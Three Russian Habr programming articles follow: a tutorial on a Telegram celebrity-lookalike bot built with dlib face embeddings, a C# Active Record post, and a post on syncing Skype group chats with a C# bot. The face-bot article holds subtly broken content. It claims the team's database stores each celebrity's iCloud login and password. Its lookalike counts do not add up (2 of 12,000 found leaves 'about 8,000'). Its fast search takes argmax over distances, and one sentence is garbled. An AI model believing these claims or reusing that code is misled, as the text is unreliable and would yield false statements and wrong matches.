HOG — Histograms of Oriented Gradients. Каждому пикселю исходного изображения этот парень ставит в соответствие его градиент — вектор, в направлении которого яркость пикселей изменяется сильнее всего. Преимущество такого подхода в том, что ему не важны абсолютные значения яркости пикселей, достаточно лишь их отношения. Поэтому и нормальное, и затемнённое, и плохо освещённое, и шумное лицо отобразится в примерно одинаковую гистограмму градиентов.
Считать градиент для каждого пикселя нет необходимости, достаточно посчитать средний градиент для каждого маленького квадратика `n` на `n`. По полученному векторному полю затем можно пройтись некоторым детектором с окном и определить для каждого окна, насколько вероятно в нём находится лицо. В качестве детектора может выступать и SVM, и случайный лес, и вообще всё что угодно.
### Выделение ключевых точек
Ключевые точки — точки, которые помогают идентифицировать лицо в пространстве. Слабым и неуверенным в себе дата саентистам обычно нужно 68 ключевых точек, а в особо запущенных случаях и того больше. Нормальным же и уверенным в себе пацанам, зарабатывающим 300к в секунду, всегда было достаточно пяти: внутренние и внешние уголки глаз и нос.
Извлечь такие точки можно, например, [каскадом регрессоров](http://www.csc.kth.se/~vahidk/papers/KazemiCVPR14.pdf).
### Выравнивание лица
Клеил в детстве аппликации? Тут всё точно так же: строишь аффинное преобразование, которое переводит три произвольные точки в их стандартные позиции. Нос можно оставить как есть, а для глаз посчитать их центры — вот и три точки готовы.
### Преобразование изображения лица в вектор
С момента публикации статьи про [FaceNet](https://arxiv.org/abs/1503.03832) прошло уже три года, за это время появилось множество интересных схем обучения и функций потерь, но среди доступных OpenSource решений доминирует именно она. Видимо, всё дело в комбинации простоты понимания, реализации и приличных достигаемых результатах. Спасибо хоть на том, что архитектуру за эти три года таки сменили на ResNet.
FaceNet учится на тройках примеров: (anchor, positive, negative). Anchor и positive примеры принадлежат одному человеку, negative же выбирается как лицо другого человека, которое сеть почему-то располагает слишком близко к первому. Функция потерь спроектирована таким образом, чтобы исправить это недоразумение, сблизить нужные примеры и отодвинуть от них ненужный.
Выход последнего слоя сети называется эмбедингом — репрезентативным представлением лица в некотором пространстве малой размерности (как правило, 128-мерном).
### Сравнение лиц
Прелесть хорошо обученных эмбедингов в том, что лица одного человека отображается в некоторую небольшую окрестность пространства, отдалённую от эмбедингов лиц других людей. А значит, для этого пространства можно ввести меру схожести, обратную расстоянию: евклидову или косинусному, в зависимости от того, с помощью какой дистанции сеть обучали.
Таким образом, нам заранее нужно построить эмбединги для всех людей, среди которых будет производиться поиск, а затем, для каждого запроса, найти среди них ближайший вектор. Или, по-другому, решить задачу нахождения `k` ближайших соседей, где `k` может быть равно одному, а может и нет, если мы хотим использовать какую-нибудь более продвинутую бизнес-логику. Лицо, которому принадлежит вектор-результат, и будет самым похожим на лицо-запрос.
### Какую библиотеку использовать?
Выбор открытых библиотек, которые реализуют различные части пайплайна велик. Находить лица и ключевые точки умеют `dlib` и `OpenCV`, а предобученные версии сетей можно найти для любого крупного нейросетевого фреймворка. Существует проект [OpenFace](https://cmusatyalab.github.io/openface/), где можно подобрать архитектуру под свои требования скорости и качества. Но только одна библиотека позволяет реализовать все 5 пунктов распознавания лиц в вызовах трёх высокоуровневых функций: `dlib`. При этом она написана на современном C++, использует BLAS, имеет обёртку для Python, не требует GPU и достаточно быстро работает на CPU. Наш выбор пал именно на неё.
Делаем собственного бота
========================
Данная секция уже описывалась буквально в каждом руководстве по созданию ботов, но раз и мы пишем такое же, придется повториться. Пишем [@BotFather](http://t.me/BotFather) и просим у него токен для нашего нового бота.
Токен выглядит примерно так: `643075690:AAFC8ola8WRdhGbJtzjmkOhne1FGfu1BFg`. Он необходим для авторизации при каждом запросе к API Телеграм ботов.
Надеюсь, ни у кого на данном этапе не возникнет раздумий при выборе языка программирования. Конечно же, писать надо на Хаскелле. Начнём с главного модуля.
```
import System.Process
main :: IO ()
main = do
(_, _, _, handle) <- createProcess (shell "python bot.py")
_ <- waitForProcess handle
putStrLn "Done!"
```
Как видно из кода, в дальнейшем мы будем использовать специальный [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) для написания телеграм ботов. Код на этом DSL пишется в отдельных файлах. Установим доменный язык и всё необходимое.
```
python -m venv .env
source .env/bin/activate
pip install python-telegram-bot
```
`python-telegram-bot` на данный момент является самым удобным фреймворком для создания ботов. Он простой в освоении, гибкий, масштабируемый, поддерживает многопоточность. К сожалению, на данный момент не существует ни одного нормального асинхронного фреймворка и вместо божественных корутин приходится использовать древние потоки.
Начать писать бота с `python-telegram-bot` очень просто. Добавим в `bot.py` следующий код.
```
from telegram.ext import Updater
from telegram.ext import MessageHandler, Filters
# здесь должен быть ваш токен
TOKEN = ''
def echo(bot, update):
bot.send\_message(chat\_id=update.message.chat\_id, text=update.message.text)
updater = Updater(token=TOKEN)
dispatcher = updater.dispatcher
echo\_handler = MessageHandler(Filters.text, echo)
dispatcher.add\_handler(echo\_handler)
```
Запустим бота. В отладочных целях это можно делать командой `python bot.py`, не запуская Хаскелльный код.
Такой простой бот способен поддержать минимальную беседу, а следовательно, легко может устроиться работать фронтенд разработчиком.
Но фронтенд разработчиков и так слишком много, поэтому убьём его поскорее и приступим к реализации главной функциональности. В целях простоты наш бот будет отвечать только на сообщения, содержащие фотографии и игнорировать любые остальные. Изменим код на следующий.
```
from telegram.ext import Updater
from telegram.ext import MessageHandler, Filters
# здесь должен быть ваш токен
TOKEN = ''
def handle\_photo(bot, update):
bot.send\_message(chat\_id=update.message.chat\_id, text='nice')
updater = Updater(token=TOKEN)
dispatcher = updater.dispatcher
photo\_handler = MessageHandler(Filters.photo, handle\_photo)
dispatcher.add\_handler(photo\_handler)
updater.start\_polling()
updater.idle()
```
Когда картинка попадает на сервера Telegram, она автоматически подгоняется под несколько заранее заданных размеров. Бот в свою очередь может скачать изображение любого размера из тех, что содержатся в списке `message.photo` отсортированные по возрастанию. Самый простой вариант: взять наибольшее изображение. Конечно, в продуктовой среде нужно думать о нагрузке на сеть и времени загрузки и выбирать изображение минимально подходящего размера. Добавим код скачивания изображения в начало функции `handle_photo`.
```
import io
```
```
message = update.message
photo = message.photo[~0]
with io.BytesIO() as fd:
file_id = bot.get_file(photo.file_id)
file_id.download(out=fd)
fd.seek(0)
```
Изображение скачано и находится в памяти. Для его интерпретации и представления в виде матрицы интенсивности пикселей воспользуемся библиотеками `Pillow` и `numpy`.
```
from PIL import Image
import numpy as np
```
Следующий код необходимо добавить в блок `with`.
```
image = Image.open(fd)
image.load()
image = np.asarray(image)
```
Настало время dlib. За пределами функции создадим детектор лиц.
```
import dlib
```
```
face_detector = dlib.get_frontal_face_detector()
```
А внутри функции используем его.
```
face_detects = face_detector(image, 1)
```
Второй параметр функции означает увеличение, которое необходимо применить перед попыткой обнаружения лиц. Чем он больше, тем более мелкие и сложные лица детектор сможет обнаружить, но тем дольше он будет работать. `face_detects` — список лиц, отсортированный в порядке убывания уверенности детектора в том, что перед ним находится лицо. В реальном приложении вам, скорее всего, захочется применить некоторую логику выбора главного лица, а в учебном примере мы ограничимся лишь выбором первого.
```
if not face_detects:
bot.send_message(chat_id=update.message.chat_id, text='no faces')
face = face_detects[0]
```
Переходим к следующему этапу — поиску ключевых точек. Скачиваем [обученную модель](http://dlib.net/files/shape_predictor_5_face_landmarks.dat.bz2) и выносим её загрузку за пределы функции.
```
shape_predictor = dlib.shape_predictor('path/to/shape_predictor_5_face_landmarks.dat')
```
Находим ключевые точки.
```
landmarks = shape_predictor(image, face)
```
Дело осталось за малым: выровнять лицо, прогнать его через ResNet и получить 128-мерный эмбединг. К счастью, dlib позволяет сделать всё это одним вызовом. Нужно только скачать [предобученную модель](http://dlib.net/files/dlib_face_recognition_resnet_model_v1.dat.bz2).
```
face_recognition_model = dlib.face_recognition_model_v1('path/to/dlib_face_recognition_resnet_model_v1.dat')
```
```
embedding = face_recognition_model.compute_face_descriptor(image, landmarks)
embedding = np.asarray(embedding)
```
Только посмотрите, в какое прекрасное время мы живём. Вся сложность свёрточных нейронных сетей, метода опорных векторов и аффинных преобразований, применённых к распознаванию лиц, инкапсулирована в три библиотечных вызова.
Так как мы пока не умеем делать ничего осмысленного, давайте возвращать пользователю среднее значение его эмбединга, умноженное на тысячу.
```
bot.send_message(
chat_id=update.message.chat_id,
text=f'yours embedding mean: {embedding.mean() * 1e3:.2f}'
)
```
Чтобы наш бот умел определять на кого из знаменитостей похож пользователей, нам теперь необходимо найти хотя-бы по одной фотографии каждой знаменитости, построить по ней эмбединг и куда-нибудь его сохранить. В наш учебный бот мы добавим всего 10 знаменитостей, найдя их фотографии руками и сложив в директорию `photos`. Вот так примерно это должно выглядеть:
Если вы хотите иметь в базе миллион знаменитостей, всё будет выглядеть точно так же, только файлов побольше и искать их руками уже вряд ли получится. Теперь создадим утилиту `build_embeddings.py`, используя уже известные нам вызовы `dlib` и сохраним эмбединги знаменитостей вместе с их именами в бинарном формате.
```
import os
import dlib
import numpy as np
import pickle
from PIL import Image
face_detector = dlib.get_frontal_face_detector()
shape_predictor = dlib.shape_predictor('assets/shape_predictor_5_face_landmarks.dat')
face_recognition_model = dlib.face_recognition_model_v1('assets/dlib_face_recognition_resnet_model_v1.dat')
fs = os.listdir('photos')
es = []
for f in fs:
print(f)
image = np.asarray(Image.open(os.path.join('photos', f)))
face_detects = face_detector(image, 1)
face = face_detects[0]
landmarks = shape_predictor(image, face)
embedding = face_recognition_model.compute_face_descriptor(image, landmarks, num_jitters=10)
embedding = np.asarray(embedding)
name, _ = os.path.splitext(f)
es.append((name, embedding))
with open('assets/embeddings.pickle', 'wb') as f:
pickle.dump(es, f)
```
Добавим загрузку эмбедингов в код нашего бота.
```
import pickle
```
```
with open('assets/embeddings.pickle', 'rb') as f:
star_embeddings = pickle.load(f)
```
И методом полного перебора найдём, на кого же всё-таки похож наш пользователь.
```
ds = []
for name, emb in star_embeddings:
distance = np.linalg.norm(embedding - emb)
ds.append((name, distance))
best_match, best_distance = min(ds, key=itemgetter(1))
bot.send_message(
chat_id=update.message.chat_id,
text=f'your look exactly like *{best_match}*',
parse_mode='Markdown'
)
```
Обратите внимание, что в качестве расстояния мы используем евклидову дистанцию, т.к. сеть в dlib была обучена именно с помощью неё.
Вот и всё, поздравляю! Мы с вами создали простейшего бота, который умеет определять, на кого из знаменитостей похож пользователь. Осталось найти побольше фотографий, добавить брендирования, масштабируемости, щепотку логгирования и всё, можно выпускать в продакшен. Все эти темы слишком объёмные, чтобы подробно рассказывать про них с огромными листингами кода, поэтому я просто изложу основные моменты в формате вопроса-ответа в следующем разделе.
Полный код учебного бота доступен на [GitHub](https://github.com/meownoid/simplest-face-similarity-bot).
Рассказываем про нашего бота
============================
### Сколько у вас в базе знаменитостей? Где вы их нашли?
Самым логичным решением при создании бота показалось взять данные о знаменитостях из нашей внутренней контентной базы. Она в формате графа хранит фильмы и все сущности, которые с фильмами связаны, в том числе актёров и режиссёров. Для каждой персоны нам известны её имя, логин и пароль от iCloud, связанные фильмы и alias, который можно использовать для генерации ссылки на сайт. После очистки и извлечения только необходимой информации остаётся `json` файл следующего содержания:
```
[
{
"name": "Тильда Суинтон",
"alias": "tilda-swinton",
"role": "actor",
"n_movies": 14
},
{
"name": "Майкл Шеннон",
"alias": "michael-shannon",
"role": "actor",
"n_movies": 22
},
...
]
```
Таких записей в каталоге оказалось **22000**. Кстати, не каталог, а каталог.
### Где найти фотографии для всех этих людей?
Ну знаете, *то тут, то там*. Есть, например, [прекрасная библиотека](https://github.com/hardikvasa/google-images-download), которая позволяет загружать картинки-результаты запроса из гугла. 22 тысячи человек — не так уж и много, используя 56 потоков нам удалось скачать фотографии для них меньше чем за час.
Среди скаченных фотографий нужно отбросить битые, шумные, фотографии в неправильном формате. Затем оставить только те, где есть лица и где эти лица удовлетворяют определённым условиям: минимальному расстоянию между глаз, наклоном головы. Всё это оставляет нас с **12000** фотографий.
Из 12 тысяч знаменитостей пользователи на данный момент обнаружили только 2. То есть существуют примерно 8 тысяч знаменитостей пока ещё ни на кого не похожих. Не оставляйте это просто так! Открывайте телеграм и найдите их всех.
### Как определить процент схожести для евклидовой дистанции?
Отличный вопрос! Действительно, евклидово расстояние, в отличии от косинусного, не ограничено сверху. Поэтому возникает резонный вопрос, как показать пользователю нечто более осмысленное, чем "Поздравляем, расстояние между вашим эмбедингом и эмбедингом Анжелины Джоли составляет 0.27635462738"? Один из членов нашей команды предложил следующее простое и гениальное решение. Если построить распределение расстояний между эмбедингами, оно окажется нормальным. А значит, для него можно посчитать среднее и стандартное отклонение, а затем для каждого пользователя по этим параметрам считать *сколько процентов людей менее похожи на своих знаменитостей, чем он*. Это эквивалентно интегрированию функции плотности вероятности от `d` до плюс бесконечности, где `d` — дистанция между эмбедингами пользователя и знаменитости.
Вот точная функция, которую мы используем:
```
def _transform_dist_to_sim(self, dist):
p = 0.5 * (1 + erf((dist - self._dist_mean) / (self._dist_std * 1.4142135623730951)))
return max(min(1 - p, 1.0), self._min_similarity)
```
### Неужели нужно перебирать список всех эмбедингов, чтобы найти совпадение?
Конечно нет, это не оптимально и занимает кучу времени. Простейший способ оптимизировать вычисления — использовать матричные операции. Вместо того, чтобы вычитать вектора один из другого, можно составить из них матрицу и вычитать из матрицы вектор, а затем посчитать L2 норму по строкам.
```
scores = np.linalg.norm(emb - embeddings, axis=1)
best_idx = scores.argmax()
```
Это уже даёт гигантский прирост производительности, но, оказывается, можно ещё быстрее. Поиск можно значительно ускорить, немного проиграв в его точности, используя библиотеку [nmslib](https://github.com/nmslib/nmslib). Она использует метод [HNSW](https://arxiv.org/abs/1603.09320) для приближенного поиска `k` ближайших соседей. По всем имеющимся векторам должен быть построен так называемый индекс, в котором затем и будет производиться поиск. Создать и сохранить на диск индекс для евклидовой дистанции можно следующим образом:
```
import nmslib
index = nmslib.init(method='hnsw', space='l2', data_type=nmslib.DataType.DENSE_VECTOR)
for idx, emb in enumerate(embeddings):
index.addDataPoint(idx, emb)
index_time_params = {
'indexThreadQty': 4,
'skip_optimized_index': 0,
'post': 2,
'delaunay_type': 1,
'M': 100,
'efConstruction': 2000
}
index.createIndex(index_time_params, print_progress=True)
index.saveIndex('./assets/embeddings.bin')
```
Параметры `M` и `efConstruction` подробно описаны в [документации](https://github.com/nmslib/nmslib/blob/master/python_bindings/parameters.md) и подбираются экспериментально исходя из требуемой точности, времени построения индекса и скорости поиска. Перед использованием индекс необходимо загрузить:
```
index = nmslib.init(method='hnsw', space='l2', data_type=nmslib.DataType.DENSE_VECTOR)
index.loadIndex('./assets/embeddings.bin')
query_time_params = {'efSearch': 400}
index.setQueryTimeParams(query_time_params)
```
Параметр `efSearch` влияет на точность и скорость запросов и может не совпадать с `efConstruction`. Теперь можно делать запросы.
```
ids, dists = index.knnQuery(embedding, k=1)
best_dx = ids[0]
best_dist = dists[0]
```
В нашем случае `nmslib` работает в 20 раз быстрее, чем векторизованная линейная версия, а один запрос выполняется в среднем `0.005` секунды.
### Как сделать моего бота готовым к продакшену?
##### 1. Асинхронность
Для начала, необходимо сделать функцию `handle_photo` асинхронной. Как я уже говорил, `python-telegram-bot` предлагает для этого воспользоваться многопоточностью и реализует удобный декоратор.
```
from telegram.ext.dispatcher import run_async
@run_async
def handle_photo(bot, update):
...
```
Теперь фреймворк сам запустит ваш обработчик в отдельном потоке в своём пуле. Размер пула задаётся при создании `Updater`-а. "Но в питоне же нет многопоточности!" уже воскликнули самые нетерпеливые из вас. И это не совсем правда. Из-за [GIL](https://wiki.python.org/moin/GlobalInterpreterLock) обычный Python-код действительно не может исполнятся параллельно, но GIL отпускается для ожидания всех IO-операций, а так же может отпускаться библиотеками, которые используют расширения на C.
А теперь проанализируйте нашу функцию `handle_photo`: она только и состоит что из ожидания IO-операций (загрузка фотографии, отправка ответа, чтение фотографии с диска и т.п.) и вызовов функций из библиотек `numpy`, `nmslib` и `Pillow`.
Я не упомянул `dlib` неспроста. Библиотека, вызывающая нативный код, не обязана отпускать GIL и `dlib` этим правом пользуется. Ей не нужна эта блокировка, она просто её не отпускает. Автор [говорит](https://github.com/davisking/dlib/issues/1403), что с радостью примет соответствующий Pull Request, но мне лень.
##### 2. Многопроцессность
Простейший способ разобраться с `dlib` — инкапсулировать модель в отдельную сущность и запускать её в отдельном процессе. А лучше в пуле процессов.
```
def _worker_initialize(config):
global model
model = Model(config)
model.load_state()
def _worker_do(image):
return model.process_image(image)
pool = multiprocessing.Pool(8, initializer=_worker_initialize, initargs=(config,))
```
```
result = pool.apply(_worker_do, (image,))
```
##### 3. Железо
Если ваш бот должен постоянно читать фотографии с диска, позаботьтесь о том, чтобы этим диском был SSD. Или вообще смонтируйте их в оперативную память. Так же важен пинг до серверов телеграма и качество канала.
##### 4. Flood control
Телеграм не позволяет ботам отправлять больше 30 сообщений в секунду. Если ваш бот популярен и им одновременно пользуется куча народу, то очень легко поймать бан на несколько секунд, который обернётся разочаровнием от ожидания для множества пользователей. Для решения этой проблемы `python-telegram-bot` предлагает нам очередь, которая способна не отправлять больше заданного лимита сообщений в секунду, выдерживая равные интервалы между отправкой.
```
from telegram.ext.messagequeue import MessageQueue
```
Для её использования нужно определить собственного бота и подменить его при создании `Updater`-а.
```
from telegram.utils.promise import Promise
class MQBot(Bot):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._message_queue = MessageQueue(
all_burst_limit=30,
all_time_limit_ms=1000
)
def __del__(self):
try:
self._message_queue.stop()
finally:
super().__del__()
def send_message(self, *args, **kwargs):
is_group = kwargs.get('chat_id', 0) >= 0
return self._message_queue(Promise(super().send_message, args, kwargs), is_group)
```
```
bot = MQBot(token=TOKEN)
updater = Updater(bot=bot)
```
##### 5. Web hooks
В продуктовом окружении в качестве способа получения обновлений от серверов Телеграма вместо Long Polling всегода стоит использовать Web Hooks. Что это вообще такое и как это использовать можно почитать [здесь](https://github.com/python-telegram-bot/python-telegram-bot/wiki/Webhooks).
##### 6. Мелочи
Во время общения с сервером телеграма ежесекундно разбираются тонны тонны сообщений в формате `json`. Чтобы ускорить этот процесс, можно вместо стандартной библиотеки использовать [ultrajson](https://github.com/esnme/ultrajson).
Полезной мелочью стала настройка времени ожидания для всех блокирующих IO-операций: загрузки и отправки фотографий, отправки сообщений, получения обновлений. Его увеличение не сказалось на производительности, но сильно повысило стабильность бота и уменьшило число ошибок.
##### 6. Аналитика
Нельзя улучшить то, что нельзя измерить. Собирайте статистику по действиям пользователя при использовании бота, замеряйте время ответа, время ожидания, собирайте подробную информацию по каждой произошедшей ошибке. Так вы всегда сможете корректно оценивать пользовательский опыт, заранее замечать аварийные ситуации и быстро их исправлять.
Мы, например, настроили импорт логов в наш BI-tool [Splunk](https://www.splunk.com/) и постоянно следим за ситуацией.
Вот и всё, о чём бы нам хотелось рассказать в этой статье. Мы вспомнили основы распознавания лиц, показали вам как создать собственного простого бота для распознавания лиц на основе открытых технологий и постарались кратко рассказать про создание нашего собственного бота.
Автоматизируйте всё что автоматизируется, уделяйте время проектам для саморазвития и приходите домой пораньше. Ну и конечно же заходите посмотреть, что у нас получилось: [@OkkoFaceBot](http://t.me/OkkoFaceBot).
~~Можете ещё фильмы в отличном качестве посмотреть~~ нет, это уже слишком много рекламы. Кстати, у нас в сервисе нет рекламы. | https://habr.com/ru/post/417329/ | null | ru | null |
# Active Record Pattern
Хочу рассказать о применении шаблона Active Record для C# на практике. Такой класс реализует извлечение и запись структуры в базу данных. Бизнес логика выносится на следующие уровни абстракции, где с таким объектом можно работать уже как с обычной структурой.
Центральный случай, который я буду рассматривать для примера — это работа со справочником **Country** из базы данных, который часто читается, но очень редко меняется.
Использование **active record** объекта в коде бизнес логики выглядит вот так:
```
Country russia = Country.All[“Russia”];
```
**Country** не имеет публичного конструктора, и получение объектов возможно только через обращение к методу **Dictionary All**.
Теперь поподробнее о том, как устроен этот класс изнутри.
#### Конструктор записи
```
public readonly string name;
private Country(IDataRecord record)
{
name = record.GetString(0);
}
```
Благодаря приватности конструктора мы можем надеяться на корректное применение конструктора. И только внутри класса.
Например вот так:
```
private static Dictionary \_all = null;
private static Dictionary LoadDictionary()
{
\_all = new Dictionary();
IDataReader reader = DBWrapper.GetReader(sqlSelect);
try
{
while (reader.Read())
{
Country item = new Country(reader);
\_all.Add(item.name, item);
}
}
finally { reader.Close(); }
return \_all;
}
```
**sqlSelect** – приватная константа, для чтения всех записей с нужным для конструктора порядком полей.
**DBWrapper** – самописный класс, инкапсулирующий работу с базой данных. Благодаря ему на этом уровне нам приходится работать только с интерфейсами, без указания конкретной реализации.
**Add** – добавление новой записи в общий реестр, скрыта для лаконичности кода в статье.
#### Словарь All
Тут тоже ничего сложного:
```
public static Dictionary All
{ get {
return \_all ?? LoadDictionary();
}}
```
В итоге мы имеем отложенную загрузку справочника по первому обращению.
Приватная переменная **\_all** использует только в этом куске кода. К сожалению C# не позволяет ограничить ее применение меньше чем на весь класс. Остается опасность ее применения например в публичных методах. Что станет настоящей проблемой при работе в нескольких потоках.
Это первый вопрос, который я хочу обсудить: как сильнее ограничить видимость переменной \_all?
#### Синхронизация многопоточности
Такой способ отложенной загрузки пока не пригоден для работы в многопоточности, поэтому я добавил класс **LoadStatus**.
`private static readonly LoadStatus statusCountryList = new LoadStatus(“country”);`
Название для статуса нужно для его идентификации в списке статусов всех справочников. Но об этом позже.
```
private static Dictionary \_all = null;
public static Dictionary All
{ get {
if ( !statusCountryList.IsCompleted ) {
lock (statusCountryList) {
if ( !statusCountryList.IsCompleted ) {
statusCountryList.Start();
\_all = new Dictionary();
IDataReader reader= DBWrapper.GetReader(sqlSelect);
try
{
while (reader.Read()) Add(new Country(reader))
statusCountryList.Finish(\_all.Count);
}
catch Exception ex { statusCountryList.Error(ex); }
finally { reader.Close(); }
}}}
return \_all;
}}
```
Много макарон, зато теперь у нас есть многопоточность и отчет о здоровье нашего справочника, в качестве бонуса от архитектуры.
**LoadStatus** прячет в себе синхронизацию и сбор данных о здоровье справочника.
Кроме того, через обнуление **LoadStatus** появляется возможность перегрузить справочник на лету.
Именно ради этой возможности я отказался от **readonly** для **\_all**.
#### Class Generic
Решение получилось настолько удобным и изящным, что я использую его в десятках справочников в всех проектах. И возникает огромное желания превратить этот код в **generic class**.
Однако синтаксис C# не позволяет этого сделать.
Что вы думаете о этом решении?
Какие могут быть способы для превращения этого решения в **generic**? | https://habr.com/ru/post/155545/ | null | ru | null |
# IT-чаты или Выжимаем из Skype все соки
 Часто у новичков в той или иной IT области ощущается острый дефицит знаний и знакомых, у которых можно что-либо «спросить» по теме. Да, StackOverflow, Google и другие подобные ресурсы — просто кладезь полезной информации, однако, согласитесь, бывают и ситуации, когда вопрос настолько общий, что ответ на него может дать только опытный человек работающий в этой сфере не первый год.
По большей части это касается этих самых новичков, потому что матёрые айтишники мало того, что могут из Гугла душу чужую вытащить, так ещё обычно и знакомых у них в этой сфере хватает — вопрос так или иначе решится.
И вот тут пролетела мысль — а почему бы не сделать IT-чаты и разбить их на определённые темы/технологии? Ок, попробуем. И Skype нам тут поможет.
Если вы хотите узнать, почему был выбран Skype, каким образом можно «обойти» лимит в 300 человек на один чат или у вас просто спряталась альтруистичная IT-нотка и вы любите помогать коллегам — берите печеньки и **добро пожаловать под кат**.
### Почему Skype?
Существует множество онлайн бордов/форумов, где вы можете пойти и задать свой специфичный вопрос. Однако есть несколько НО:
**1) Это там. А Skype тут.** И между этими «там» и «тут» на мой взгляд — пропасть. Попросить кого-то сделать что-то, куда-то там зайти, где-то там зарегистрироваться — нереальный кейс. Как говорят технари и продаваны — конверсия будет нулевой. Серьёзно, люди ленивы, особенно когда не мотивированы, поэтому пытаемся максимально упростить «вход» и пробуем использовать то, что есть под рукой у каждого.
**2) Пинг.** Вы зашли, написали и… ждёте. Выяснение вопроса может затянутся на дни. Поэтому и не пишем, а если и пишем, то только уже по совсем завальным ситуациям, где ни знакомые, ни гугл не смогли нам помочь, но обычно таких вопросов у каждого отдельного человека возникает не так уж и много, верно?
Есть конечно же и минусы подобного решения:
1) Скайп. Он не так хорош, насколько хотелось бы, однако предоставляет базовый функционал для ведения групп, что в общем-то уже неплохо.
2) Отсутствие истории сообщений. Нет, вы можете конечно проскроллить до энного момента, но все мы понимаем, что это не тот поиск, который требуется.
3) Возможность спамить. Разговор между двумя людьми будет затрагивать всех. /alertsoff будет тут лучшим другом и товарищем.
На мой взгляд, плюсы перевешивают, потому что когда есть цель — все преграды это лишь преграды, не так ли? Было бы желание, и азбукой Морзе можно перестукиваться с соседями.
### Как уместить всех желающих?
Skype зачем-то сделал ограничение в 300 участников на одну группу. Зачем в общем-то понятно, но нас это не устраивает. Что, если в определённые чаты захочет зайти больше трёхсот человек? Я нашёл выход в синхронизации нескольких чатов между собой посредством [Чат бота](http://habrahabr.ru/post/238363/), написанного в свободное время. Он нам и поможет, связав нужные чаты между собой путём трансляции сообщений из одной группы в другую и наоборот. Костыль? Костыль. Но что поделать.
**Как эта синхронизация работает. Куски реализации и объяснение механизма связывания. C#**Боту нужно к чему-то привязаться. Топик группы не являлся лучшим решением и я обнаружил, что при попытке взять Name чата, api отдавала и его id.
Этот id есть у каждого чата и он уникален. Получить его можно только через api. Чтобы его узнать — нужно добавить бота (skypename: «mensclubbot» или же вашу личная запущенная реализация/форк) в оба чата и выполнить в каждом из них команду "!get id", после чего бот выдаст уникальный id чата.
Дальше идём в app.config и настраиваем синхронизацию подобным образом:
Формат:
— {id}: id чата;
— {group name} — название группы, которое будут видеть члены противоположного чата, можно оставить пустым, в таком случае чат указываться при трансляции указываться не будет;
— {from}: направление трансляции сообщений. Может быть «from», «to», «both».
В итоге у вас должно получится что-то подобное:
Добавлять новые конфигурации можно через ";".
Всё готово, теперь сообщения из одного чата транслируются в другой и наоборот. Выглядит это как-то так:
**C# код класса синхронизации**
```
public class SkypeChatSyncer
{
private List chatSyncRelations { get; set; }
public delegate void OnSendMessageRequiredDelegate(string message, string toSkypeId);
public event OnSendMessageRequiredDelegate OnSendMessageRequired;
public SkypeChatSyncer()
{
chatSyncRelations = new List();
LoadRelations();
}
private void LoadRelations()
{
string configValue = ConfigurationManager.AppSettings["ChatSyncRelations"];
if (!string.IsNullOrEmpty(configValue))
{
var relations = configValue.Split(';');
foreach (string relation in relations)
{
var relationParts = relation.Split('|');
if (relationParts.Length == 3)
{
var fromChatIdParts = relationParts[0];
var toChatIdParts = relationParts[2];
string relationOperator = relationParts[1];
if (relationOperator == "from")
{
string tempChatId = fromChatIdParts;
fromChatIdParts = toChatIdParts;
toChatIdParts = tempChatId;
}
chatSyncRelations.Add(new ChatSyncerRelation(fromChatIdParts, toChatIdParts));
if (relationOperator == "both")
{
//reverse
chatSyncRelations.Add(new ChatSyncerRelation(toChatIdParts,fromChatIdParts));
}
}
}
}
}
public void HandleMessage(string message, string fromName, string fromChatId)
{
var sendToChats = chatSyncRelations.Where(x => x.FromChatId == fromChatId).ToList();
foreach (var chat in sendToChats)
{
string formattedMessage = string.Format("[{0}]{1} : {2}", chat.FromChatName, fromName, message);
if (OnSendMessageRequired != null)
{
OnSendMessageRequired(formattedMessage, chat.TochatId);
}
}
}
}
```
**Пользуем вот так**
```
class Program
{
private static Skype skype = new Skype();
private static HelloBot bot;
private static SkypeChatSyncer chatSyncer;
private static IDictionary chats { get; set; }
private static object \_chatLocker = new object();
static void Main(string[] args)
{
bot = new HelloBot();
bot.OnErrorOccured += BotOnErrorOccured;
Task.Run(delegate
{
try
{
skype.MessageStatus += OnMessageReceived;
skype.Attach(5, true);
chatSyncer = new SkypeChatSyncer(); //init chat sync
chatSyncer.OnSendMessageRequired += ChatSyncerOnOnSendMessageRequired;
Console.WriteLine("skype attached");
}
catch (Exception ex)
{
Console.WriteLine("top lvl exception : " + ex.ToString());
}
while (true)
{
Thread.Sleep(1000);
}
});
while (true)
{
Thread.Sleep(1000);
}
}
private static void ChatSyncerOnOnSendMessageRequired(string message, string toSkypeId)
{
var chat = GetChatById(toSkypeId);
if (chat != null)
{
SendMessage(message,chat);
}
}
private static IChat GetChatById(string chatId)
{
if (chats == null)
{
lock (\_chatLocker)
{
if (chats == null)
{
chats = new Dictionary();
foreach (IChat chat in skype.Chats)
{
string tChatId = chat.Name.Split(';').Last();
chats.Add(tChatId,chat);
}
}
}
}
IChat toReturn = null;
chats.TryGetValue(chatId, out toReturn);
return toReturn;
}
static void BotOnErrorOccured(Exception ex)
{
Console.WriteLine(ex.ToString());
}
private static void OnMessageReceived(ChatMessage pMessage, TChatMessageStatus status)
{
Console.WriteLine(status + pMessage.Body);
if (status == TChatMessageStatus.cmsReceived)
{
bot.HandleMessage(pMessage.Body, answer => SendMessage(answer,pMessage.Chat),new SkypeData(pMessage));
string fromChatId = pMessage.Chat.Name.Split(';').Last();
chatSyncer.HandleMessage(pMessage.Body,pMessage.FromDisplayName,fromChatId);
}
}
public static object \_lock = new object();
private static void SendMessage(string message, IChat toChat)
{
if (message.StartsWith("/"))
{
message = "(heidy) " + message;
}
lock (\_lock)
{
toChat.SendMessage(message);
}
}
}
```
### Ну, окей, как мне посмотреть список чатов и вступить в один из них?
**Посмотреть список чатов можно тут:**
[docs.google.com/spreadsheets/d/1re0ntO6ZpPprYrMpKKuV\_7I367Th30iRZWEL6ThXkUg](https://docs.google.com/spreadsheets/d/1re0ntO6ZpPprYrMpKKuV_7I367Th30iRZWEL6ThXkUg) — это список чатов с кратким описанием. Их мало, но если нужны ещё какие-то, то пишите, обязательно добавлю.
[](https://docs.google.com/spreadsheets/d/1re0ntO6ZpPprYrMpKKuV_7I367Th30iRZWEL6ThXkUg)
Непосредственно вступить можно пройдя по этой ссылочке: [jsfiddle.net/KTt3V/1](http://jsfiddle.net/KTt3V/1/) (она будет менятся при добавлении новых чатов, поэтому возьмите её лучше лучше из ссылки выше, на гуглдоксах) и кликнув интересующую группу. Браузер подхватит скайп протокол и скайп присоединит вас к группе.
### Правила?
